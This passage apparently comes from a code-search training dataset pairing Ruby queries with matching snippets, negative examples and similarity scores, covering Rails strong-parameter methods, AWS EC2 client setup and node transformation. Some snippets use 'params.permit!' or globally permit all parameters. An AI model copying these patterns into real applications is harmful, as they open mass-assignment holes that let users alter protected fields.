"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Initialize the EC2 Client object
|
def initialize(aws_region:)
@ec2_client ||= Aws::EC2::Client.new(region: aws_region)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(config)\n @aws_ec2 = AWS::EC2.new(config)\n end",
"def initialize(aws_access_key_id=nil, aws_secret_access_key=nil, params={})\n init({ :name => 'EC2',\n :default_host => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).host : DEFAULT_HOST,\n :default_port => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).port : DEFAULT_PORT,\n :default_service => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).path : DEFAULT_PATH,\n :default_protocol => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).scheme : DEFAULT_PROTOCOL,\n :default_api_version => @@api },\n aws_access_key_id || ENV['AWS_ACCESS_KEY_ID'] , \n aws_secret_access_key|| ENV['AWS_SECRET_ACCESS_KEY'],\n params)\n end",
"def load_client\n @aws_client ||= Aws::EC2::Client.new(region: Mnemosyne.config.region)\n end",
"def initialize(host, host_id=nil)\n @host = host\n @host_id = host_id\n\n @instance_types = PUBLIC_CLOUD_EC2_CONF['instance_types']\n\n conn_opts = get_connect_info(host, host_id)\n access_key = conn_opts[:access]\n secret_key = conn_opts[:secret]\n region_name = conn_opts[:region]\n\n #sanitize region data\n raise \"access_key_id not defined for #{host}\" if access_key.nil?\n raise \"secret_access_key not defined for #{host}\" if secret_key.nil?\n raise \"region_name not defined for #{host}\" if region_name.nil?\n\n Aws.config.merge!({\n :access_key_id => access_key,\n :secret_access_key => secret_key,\n :region => region_name\n })\n\n if (proxy_uri = PUBLIC_CLOUD_EC2_CONF['proxy_uri'])\n Aws.config(:proxy_uri => proxy_uri)\n end\n\n if @provision_type == :host\n if PUBLIC_CLOUD_EC2_CONF['state_wait_pm_timeout_seconds']\n @state_change_timeout = PUBLIC_CLOUD_EC2_CONF['state_wait_pm_timeout_seconds'].to_i\n else\n @state_change_timeout = STATE_WAIT_PM_TIMEOUT_SECONDS\n end\n else\n @state_change_timeout = PUBLIC_CLOUD_EC2_CONF['state_wait_timeout_seconds'].to_i\n end\n\n @ec2 = Aws::EC2::Resource.new\n end",
"def initialize(ecs_client = Aws::ECS::Client.new)\n ## DI for testing purposes\n @ecs = ecs_client\n end",
"def initialize(aws_access_key_id=nil, aws_secret_access_key=nil, params={})\n init({ :name => 'EC2', \n :default_host => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).host : DEFAULT_HOST, \n :default_port => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).port : DEFAULT_PORT,\n :default_service => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).path : DEFAULT_PATH, \n :default_protocol => ENV['EC2_URL'] ? URI.parse(ENV['EC2_URL']).scheme : DEFAULT_PROTOCOL }, \n aws_access_key_id || ENV['AWS_ACCESS_KEY_ID'] , \n aws_secret_access_key|| ENV['AWS_SECRET_ACCESS_KEY'],\n params)\n end",
"def initialize\n get_enterprise_token\n initialize_client\n end",
"def initialize options = {}\n @config = options[:config]\n @config ||= AWS.config\n @config = @config.with(options)\n @client = config.send(Inflection.ruby_name(self.class.to_s) + '_client')\n end",
"def initialize(config, ec2_config=nil)\n @config = config\n @ec2_config = ec2_config\n @aws_ec2 = AWS::EC2.new(@config.global)\n end",
"def init_client; end",
"def initialize\n @iam_client = Aws::IAM::Client.new(region: AWS_REGION)\n end",
"def client(region,access_key_id=nil,secret_access_key=nil)\n self.ec2_client ||= Aws::EC2::Client.new(region: region, access_key_id: access_key_id, secret_access_key: secret_access_key )\n end",
"def ec2\n @ec2 ||= EC2::Base.new(:access_key_id => \"not a key\", :secret_access_key => \"not a key\")\n end",
"def createEC2Client(region,credentials)\n begin\n return Aws::EC2::Client.new(region: region,credentials: credentials)\n rescue Exception => e\n puts \"\\e[31mCould not create new EC2 client\"\n puts \"#{e.message}\\e[0m\"\n exit 1\n end\nend",
"def ec2_client(region)\n begin\n client = Aws::EC2::Client.new(region: region)\n rescue => e\n puts e\n exit\n end\nend",
"def ec2\n @ec2 ||= aws_init { AWS::EC2.new }\n end",
"def initialize(c)\n @client = c\n end",
"def initialize(**options)\n @config = Configuration.new(**options)\n @client = Client.new(config)\n end",
"def http_client\n @conn ||= Net::HTTP.start(EC2_METADATA_ADDR).tap do |h|\n h.read_timeout = 10\n h.keep_alive_timeout = 10\n end\n end",
"def initialize options = {}\n require 'aws/ec2'\n\n options.each_key do | key |\n raise ArgumentError, \"unrecognized option \\'#{key}\\'\" unless RECOGNIZED_OPTIONS.include? key\n end\n \n @ec2 = options[ :instance ]\n @start_options = options[ :start_options ] || {}\n \n if @ec2 \n puts \"\\'credentials\\' ignored as an instance was given too\" if options.key? :credentials\n else\n ::AWS.config( options[ :credentials ] )\n \n @ec2 = ::AWS::EC2.new\n @ec2 = @ec2.regions[ options[ :region ] ] if options.key? :region\n end\n end",
"def initialize(opts = {})\n @opts = opts\n @opts[:type] ||= :block\n @opts[:timeout] ||= 10\n\n sanitize_opts!\n create_client\n end",
"def initialize\n @client = Twitter::REST::Client.new do |config|\n config.consumer_key = ENV['CONSUMER_KEY']\n config.consumer_secret = ENV['CONSUMER_SECRET']\n config.access_token = ENV['ACCESS_TOKEN']\n config.access_token_secret = ENV['ACCESS_TOKEN_SECRET']\n end\n end",
"def initialize(client)\n\t\tself.client = client\n\tend",
"def initialize(client)\n\t\tself.client = client\n\tend",
"def initialize(client)\n\t self.client=client\n end",
"def initialize\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n !@config.endpoint.split(\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @zone_operations = ::Google::Cloud::Compute::V1::ZoneOperations::Rest::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @instances_stub = ::Google::Cloud::Compute::V1::Instances::Rest::ServiceStub.new endpoint: @config.endpoint, credentials: credentials\n end",
"def initialize(config, client = nil)\n @host = config[:host]\n\n raise ArgumentError, 'No API host is provided.' if @host.nil?\n\n if client.nil? # rubocop:disable Style/ConditionalAssignment\n @client = ArkEcosystem::Client::HTTP::Client.new(config)\n else\n @client = client.new(config)\n end\n end",
"def amazon_ec2_api\n @amazon_ec2_api ||= AmazonEc2Api.new\n end",
"def initialize(server_url, command, nodes, timeout)\n @server_url = server_url\n @command = command\n @nodes = nodes.map { |n| n.name }\n @timeout = timeout\n ::Chef_Delivery::ClientHelper.enter_client_mode_as_delivery\n @rest = Chef::REST.new(Chef::Config[:chef_server_url])\n ::Chef_Delivery::ClientHelper.leave_client_mode_as_delivery\n end",
"def initialize(client)\n self.client=client\n\n\tend",
"def initialize\n @beanstalk_url = \"localhost\"\n @reserve_timeout = nil\n end",
"def initialize(client)\n @client = client\n @client.epoint = ENTRY_POINT \n end",
"def initialize(client)\n @client = client\n @client.epoint = ENTRY_POINT \n end",
"def initialize(*args)\n @client ||= Betaface::REST::Client.new(*args) \n end",
"def ec2\n Fog::Compute::AWS.new(aws_access_key_id: @aws_access_key_id, aws_secret_access_key: @aws_secret_access_key)\n end",
"def initialize_client\n secret = Settings['xml_rpc'] ? Settings.xml_rpc['secret'] : nil\n endpoint = Settings['xml_rpc'] ? Settings.xml_rpc['endpoint'] : nil\n fail ArgumentError, \"#{endpoint} is not a valid URL.\" if endpoint && !uri?(endpoint)\n\n @client = OpenNebula::Client.new(secret, endpoint)\n end",
"def initialize\n # Note: Suds logging is disabled\n @soap_client = Suds.client(endpoint: ENDPOINT, namespace: NAMESPACE,\n soap_version: 1, wsdl: WSDL, log: false)\n end",
"def initialize(options)\n @client_options = options.merge(client: self)\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(host, port)\n super()\n @logger.info(\"Create the ES client: host=#{host}, port=#{port}\")\n @host = host\n @port = port\n connect()\n end",
"def initialize\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n !@config.endpoint.split(\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = ::Google::Cloud::RecommendationEngine::V1beta1::CatalogService::Rest::Operations.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @catalog_service_stub = ::Google::Cloud::RecommendationEngine::V1beta1::CatalogService::Rest::ServiceStub.new endpoint: @config.endpoint, credentials: credentials\n end",
"def initialize(client_id, private_key, options = {})\n @client_id = client_id\n @url_signer = UrlSigner.new(private_key)\n @connect_timeout = options[:connect_timeout] || DEFAULT_CONNECT_TIMEOUT\n @read_timeout = options[:read_timeout] || DEFAULT_READ_TIMEOUT\n @retry_timeout = options[:retry_timeout] || DEFAULT_RETRY_TIMEOUT\n @http_client = Carto::Http::Client.get(HTTP_CLIENT_TAG)\n end",
"def initialize\n endpoint = Figaro.env.cf_endpoint\n credentials = {version: 2, token: Figaro.env.cf_token, refresh_token: Figaro.env.cf_refresh_token}\n token = CFoundry::AuthToken.from_hash(credentials)\n @client = CFoundry::Client.get(endpoint, token)\n end",
"def initialize(config)\n $LOG.i('initializing client')\n @config = config\n @epoint = Upwork::Api::DEFAULT_EPOINT\n\t@url_auth, @url_rtoken, @url_atoken = URI_AUTH, URI_RTOKEN, URI_ATOKEN\n @tenant_id = nil\n\n\t@oauth2_client = OAuth2::Client.new(\n @config.client_id,\n @config.client_secret,\n\t :site => Upwork::Api::BASE_HOST,\n\t :authorize_url => @url_auth,\n\t :token_url => @url_atoken,\n\t :connection_opts => { :headers => {'User-Agent' => 'Github Upwork API Ruby Client' }}\n\t)\n end",
"def initialize(*args)\n if args.empty?\n # Load configuration from file if no arguments were given\n @config = Esgob::Config.load\n elsif args.first.is_a?(Esgob::Config)\n @config = args.first\n elsif args.first.is_a?(Hash)\n @config = Esgob::Config.new(args.first)\n elsif args.length == 2\n @config = Esgob::Config.new(:account => args[0], :key => args[1])\n else\n raise(ArgumentError, \"Unsupported arguments for creating Esgob::Client\")\n end\n\n if config.nil?\n raise(Esgob::UnconfiguredError, \"Unable to load Esgob configuration\")\n end\n\n if config.account.nil? or config.account.empty?\n raise(ArgumentError, \"No account name configured for Esgob\")\n end\n\n if config.key.nil? or config.key.empty?\n raise(ArgumentError, \"No API key configured for Esgob\")\n end\n end",
"def initialize\n self.http_client = HTTPClient.new(:base_url => Rdioid::BASE_URL, :force_basic_auth => true)\n\n http_client.set_auth(Rdioid::OAUTH_TOKEN_ENDPOINT, Rdioid.config.client_id, Rdioid.config.client_secret)\n end",
"def initialize(client)\n super(client, 'core')\n end",
"def initialize(args)\n require \"http2\"\n require \"json\"\n \n @http = Http2.new(\n :host => args[:host],\n :port => args[:port],\n :ssl => args[:ssl]\n )\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end",
"def initialize(client)\n @client = client\n end"
] |
[
"0.74037623",
"0.7393521",
"0.7350949",
"0.7343247",
"0.73235685",
"0.7240159",
"0.7196345",
"0.7194741",
"0.71862525",
"0.7168115",
"0.71036536",
"0.6996494",
"0.69579196",
"0.6937662",
"0.6897118",
"0.6885941",
"0.6849786",
"0.6848727",
"0.68415356",
"0.67978597",
"0.6761242",
"0.6747373",
"0.66895705",
"0.66895705",
"0.6675778",
"0.6628109",
"0.66188663",
"0.66162205",
"0.65874827",
"0.6581589",
"0.654732",
"0.6513639",
"0.6513639",
"0.65130603",
"0.65065753",
"0.6506501",
"0.65012205",
"0.6499414",
"0.64851797",
"0.6481196",
"0.6475706",
"0.6470874",
"0.6464375",
"0.6453717",
"0.64363444",
"0.6430598",
"0.6420289",
"0.6394569",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737",
"0.63894737"
] |
0.77925855
|
0
|
(transformed) nodes are arrays, that look like: [:type, attribute hash or array of nodes]
|
def to_sexp(node)
node && send("#{node.first}_to_sexp", node.last)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_a\n @nodes\n end",
"def to_a\n collect { |node| node.data }\n end",
"def to_a\n nodes.map(&:at)\n end",
"def transform(tree); end",
"def transfer_node_attributes(nodes, attributes); end",
"def node_to_ary(node)\n node.to_s.split(\"\\n\")\n end",
"def to_a\n _evaluated_nodes\n end",
"def reconstruct_data(node, data_binding = nil)\n node_type = node.attr('type')\n case node_type\n when 'array'\n node.element_children.map do |child|\n reconstruct_data(child, data_binding)\n end\n when /hash/\n mash ||= Hashie::Mash.new\n node.element_children.each do |child|\n mash[child.attr('key') || child.element_name] ||= reconstruct_data(child, data_binding)\n end\n mash\n when /boolean/\n node.content == \"true\"\n else\n if node.content.empty?\n nil\n elsif data_binding && node_type == 'string'\n ERB.new(node.content).result(data_binding)\n else\n node.content.ducktype\n end\n end\n end",
"def convert_args_node(node)\n if node.kind_of?(String) || node.kind_of?(Symbol) || node.kind_of?(Numeric) || \n node.kind_of?(TrueClass) || node.kind_of?(FalseClass) || node.kind_of?(NilClass)\n node\n elsif node.instance_of?(Array)\n if node[0] == :struct\n node[1].inject(HashWithIndifferentAccess.new) do |acc, x|\n acc[x[0]] = convert_args_node(x[1]); acc\n end\n elsif node[0] == :array\n node[1].inject([]) do |acc, x|\n acc << convert_args_node(x)\n end\n else\n raise \"Invalid tagged node: #{node.inspect}\"\n end\n else\n raise \"Invalid node, must be an instance of String, Symbol, Numeric, True, False, Nil, or Array: #{node.inspect} (#{node.class.inspect})\"\n end\n end",
"def java_tree_to_arrays(tree)\n # label just has to be unique. don't think we're using it for anything\n label = tree.label.value + '-' + tree.object_id.to_s\n root = Tree::TreeNode.new(label, tree.label.value)\n tree.children.each{|x|root << java_tree_to_arrays(x)}\n root\n end",
"def to_json\n @nodes.map(&:to_json)\n end",
"def build_array(node)\r\n return [] if node.nil?\r\n results = []\r\n results.concat build_array(node.left)\r\n results << node.payload\r\n results.concat build_array(node.right)\r\n results\r\nend",
"def node_to_array(node)\n # Is this too clever?\n # { \"01\" => \"bar\", \"00\" => \"foo\", \"02\" => \"baz\" } # node_to_hash\n # [ [\"01\", \"bar\"], [\"00\", \"foo\"], [\"02\", \"baz\"] ] # to_a\n # [ [\"00\", \"foo\"], [\"01\", \"bar\"], [\"02\", \"baz\"] ] # sort\n # [ \"foo\", \"bar\", \"baz\" ] # map\n node_to_hash(node).to_a.sort.map(&:last)\n end",
"def _recursively_flatten_to!(array, out)\n array.each do |o|\n if NodeList === o\n _recursively_flatten_to!(o.nodes, out)\n elsif o.respond_to?(:to_ary)\n ary = Array === o ? o : o.to_ary\n _recursively_flatten_to!(ary, out)\n else\n out << o\n end\n end\n end",
"def reduce(nodes)\n for node in nodes\n if node.class==ActiveSupport::HashWithIndifferentAccess && node['data']\n data_array = Array.new\n node['data'].map{|element| data_array << element[1]}\n node['data'] = data_array\n end\n\n if node.class==Array || node.class == ActiveSupport::HashWithIndifferentAccess\n reduce (node)\n end\n end\n end",
"def from_node(original_node); end",
"def from_node(node); end",
"def to_a\n if next_node\n [data].concat(next_node.to_a)\n else\n [data]\n end\n end",
"def force_arrays(node, arrays)\n\tif node.is_a?(Hash)\n\t\tnode.each { |k,v|\n\t\t\tforce_arrays(v, arrays)\n\t\t\tif arrays.include?(k) and !v.is_a?(Array)\n\t\t\t\tnode[k] = [v]\n\t\t\tend\n\t\t}\n\telsif node.is_a?(Array)\n\t\tnode.each { |n|\n\t\t\tforce_arrays(n, arrays)\n\t\t}\n\tend\t\t\t\nend",
"def transformed_attribute_tree\n attribute_tree.clone.tap do |cloned_tree|\n apply_transform(cloned_tree)\n end\n end",
"def cache_nodes_to_array\n arr = []\n node = @rear_node\n begin\n arr << node.value\n node = node.parent\n end while !node.nil?\n return arr\n end",
"def nodes\n relation.respond_to?(:nodes) ? relation.nodes : []\n end",
"def nodes; end",
"def nodes; end",
"def nodes; end",
"def aryfy(arg)\n ast AST::ASTArray, :children => [arg]\n end",
"def produce_tree(ary); end",
"def getTags node\n array = [] #array to hold working collection\n \n node.children.each do |child|\n array << Hash[child.name,child.inner_text] unless child.name == 'text' #text \n end\n \n return array\n end",
"def extract_node_names(ast, convert_to_array = true)\n if [nil, :array].include?(ast.type)\n ast.children.map { |child| extract_node_name(child) }\n else\n node_name = extract_node_name(ast)\n convert_to_array ? [node_name] : node_name\n end\n end",
"def converted_arrays; end",
"def to_nodes(event)\n nodes = []\n event.transitions.each do |transition|\n if transition.multiple_from?\n temp_nodes = transition.from.map{ |from| Jsm::Drawer::Node.new(from: from, to: transition.to, label: event.name) }\n else\n from = transition.from[0] # even only one it is still in array e.g: [:confirmed]\n temp_nodes = [Jsm::Drawer::Node.new(from: from, to: transition.to, label: event.name)]\n end\n nodes += temp_nodes\n end\n nodes\n end",
"def nodes\n []\n end",
"def to_ast\n [:section, [\n name,\n type,\n Element::Attributes.new(attributes).to_ast,\n children.map(&:to_ast),\n ]]\n end",
"def prepare(nodes)\n if @relation\n pivot_relation = @relation\n @pivoted_nodes = Xplain::ResultSet.new(nodes: nodes)\n .pivot(group_by_domain: true){relation pivot_relation}.execute\n end\n end",
"def to_a\n result = []\n fill_result = proc { |node_data| result << node_data }\n in_order_run_callable(@root, fill_result)\n result\n end",
"def to_a\n ret = [self]\n if self.kids\n self.kids.each do |kid|\n kid.to_a.each {|node|\n ret.push node\n }\n end\n end\n ret\n end",
"def nodes\n @nodes ||= each_node.to_a\n end",
"def concat(nodes); end",
